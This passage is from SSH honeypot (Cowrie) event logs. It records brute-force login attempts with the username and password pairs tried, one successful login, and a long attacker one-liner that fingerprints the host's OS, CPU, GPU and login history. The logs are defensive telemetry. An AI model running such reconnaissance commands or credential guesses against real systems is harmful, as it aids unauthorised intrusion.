","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.368925Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"pass1234","message":"login attempt [oracle/pass1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.617870Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.826016Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.831230Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.834931Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.838218Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.841897Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.846082Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.849077Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.852843Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.856700Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.861017Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.864866Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:11.955256Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:12.041143Z","src_ip":"91.92.40.4","session":"35620faa048b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.174.5.146","src_port":16517,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1c1789d6896","protocol":"ssh","message":"New connection: 172.174.5.146:16517 (159.203.135.109:22) [session: c1c1789d6896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:12.410092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:12.415041Z","src_ip":"172.174.5.146","session":"c1c1789d6896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:12.428186Z","src_ip":"172.174.5.146","session":"c1c1789d6896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123aA@","message":"login attempt [root/123123aA@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:12.505150Z","src_ip":"172.174.5.146","session":"c1c1789d6896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:13.518667Z","src_ip":"172.174.5.146","session":"c1c1789d6896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":36186,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1fa202c3f8e","protocol":"ssh","message":"New connection: 160.187.174.22:36186 (159.203.135.109:22) [session: d1fa202c3f8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:34.120920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:34.127238Z","src_ip":"160.187.174.22","session":"d1fa202c3f8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:34.387604Z","src_ip":"160.187.174.22","session":"d1fa202c3f8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:35.349653Z","src_ip":"160.187.174.22","session":"d1fa202c3f8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:36.598384Z","src_ip":"160.187.174.22","session":"d1fa202c3f8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":59464,"dst_ip":"10.17.0.5","dst_port":22,"session":"495cd360fa39","protocol":"ssh","message":"New connection: 144.91.108.61:59464 (10.17.0.5:22) [session: 495cd360fa39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:37.773089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:37.777216Z","src_ip":"144.91.108.61","session":"495cd360fa39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:37.869379Z","src_ip":"144.91.108.61","session":"495cd360fa39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"filecoin2024","message":"login attempt [root/filecoin2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:38.147450Z","src_ip":"144.91.108.61","session":"495cd360fa39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:22:39.241477Z","src_ip":"144.91.108.61","session":"495cd360fa39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52008,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cb3898a93b4","protocol":"ssh","message":"New connection: 160.187.174.22:52008 (159.203.135.109:22) [session: 2cb3898a93b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:00.077429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:00.083540Z","src_ip":"160.187.174.22","session":"2cb3898a93b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:00.329667Z","src_ip":"160.187.174.22","session":"2cb3898a93b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:01.019126Z","src_ip":"160.187.174.22","session":"2cb3898a93b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:02.265239Z","src_ip":"160.187.174.22","session":"2cb3898a93b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.174.5.146","src_port":25620,"dst_ip":"159.203.135.109","dst_port":22,"session":"4828c0d032cb","protocol":"ssh","message":"New connection: 172.174.5.146:25620 (159.203.135.109:22) [session: 4828c0d032cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:03.462448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:03.467336Z","src_ip":"172.174.5.146","session":"4828c0d032cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:03.477678Z","src_ip":"172.174.5.146","session":"4828c0d032cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777777","message":"login attempt [root/777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:03.556926Z","src_ip":"172.174.5.146","session":"4828c0d032cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:04.570259Z","src_ip":"172.174.5.146","session":"4828c0d032cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":40632,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc90f7751a4d","protocol":"ssh","message":"New connection: 89.223.69.22:40632 (159.203.135.109:22) [session: fc90f7751a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:08.306668Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":58014,"dst_ip":"159.203.135.109","dst_port":22,"session":"afef9266bc21","protocol":"ssh","message":"New connection: 80.66.85.226:58014 (159.203.135.109:22) [session: afef9266bc21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:19.446018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:23:19.453324Z","src_ip":"80.66.85.226","session":"afef9266bc21","protocol":"ssh"}
